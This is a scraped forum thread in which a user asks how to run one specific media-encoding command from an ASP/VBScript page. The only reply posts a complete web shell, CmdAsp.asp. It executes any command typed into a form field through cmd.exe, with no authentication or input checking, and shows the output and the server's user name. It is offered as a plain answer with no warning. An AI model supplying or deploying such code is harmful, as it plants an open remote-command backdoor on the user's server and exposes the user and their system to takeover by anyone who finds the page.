Professional Web Applications Themes

RUN/execute a Command-Line command from an ASP page - ASP.NET Building Controls

Hi, I need to RUN/execute a Command-Line command from an ASP page. This is the command: sse45.exe -i k:\o .wmv -o k:\o .shh -w 128 -df 0 -m 2 -p Can you show me a code how to run this command from an ASP page? I need to run it from an ASP/VBscript? Thank you very much for your help!...

  1. #1

    Default RUN/execute a Command-Line command from an ASP page

    Hi,
    I need to RUN/execute a Command-Line command from an ASP page.

    This is the command:
    sse45.exe -i k:\o\2.wmv -o k:\o\2.shh -w 128 -df 0 -m 2 -p

    Can you show me a code how to run this command from an ASP page? I need to
    run it from an ASP/VBscript?

    Thank you very much for your help!


    Lucas Cowald Guest

  2. #2

    Default Re: RUN/execute a Command-Line command from an ASP page

    <% Language=VBScript %>
    <%
    ' --------------------o0o--------------------
    ' File: CmdAsp.asp
    ' Author: Maceo <maceo dogmile.com>
    ' Release: 2000-12-01
    ' OS: Windows 2000, 4.0 NT
    ' -------------------------------------------

    Dim oScript
    Dim oScriptNet
    Dim oFileSys, oFile
    Dim szCMD, szTempFile

    On Error Resume Next

    ' -- create the COM objects that we will be using -- '
    Set oScript = Server.CreateObject("WSCRIPT.SHELL")
    Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
    Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

    ' -- check for a command that we have posted -- '
    szCMD = Request.Form(".CMD")
    If (szCMD <> "") Then

    ' -- Use a poor man's pipe ... a temp file -- '
    szTempFile = "C:\" & oFileSys.GetTempName( )
    Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
    Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)

    End If

    %>
    <HTML>
    <BODY>
    <FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
    <input type=text name=".CMD" size=45 value="<%= szCMD %>">
    <input type=submit value="Run">
    </FORM>
    <PRE><%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
    <br>
    <%
    If (IsObject(oFile)) Then
    ' -- Read the output from our command and remove the temp file -- '
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
    End If
    %>
    </BODY></HTML>


    "Lucas Cowald" <nospamnospamthanks.com> wrote in message
    news:MNGdnXRlpbs3-wuiRVn-sAcomcast.com...
    > Hi,
    > I need to RUN/execute a Command-Line command from an ASP page.
    >
    > This is the command:
    > sse45.exe -i k:\o\2.wmv -o k:\o\2.shh -w 128 -df 0 -m 2 -p
    >
    > Can you show me a code how to run this command from an ASP page? I need to
    > run it from an ASP/VBscript?
    >
    > Thank you very much for your help!
    >
    >

    Genich Guest

Similar Threads

  1. Cannot execute command line program in cmd.exe under aspx form
    By Yehuda Vernik in forum ASP.NET Security
    Replies: 0
    Last Post: September 15th, 07:41 PM
  2. RUN/execute a Command-Line command from an ASP page.
    By Lucas Cowald in forum ASP Components
    Replies: 7
    Last Post: October 22nd, 01:08 PM
  3. [PHP] execute command line script from browser
    By Jay Blanchard in forum PHP Development
    Replies: 0
    Last Post: September 2nd, 12:40 PM
  4. execute command line script from browser
    By Rodney Green in forum PHP Development
    Replies: 0
    Last Post: August 30th, 05:02 PM
  5. how to execute command line in ASP
    By david Wilton in forum ASP
    Replies: 2
    Last Post: August 11th, 08:16 PM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139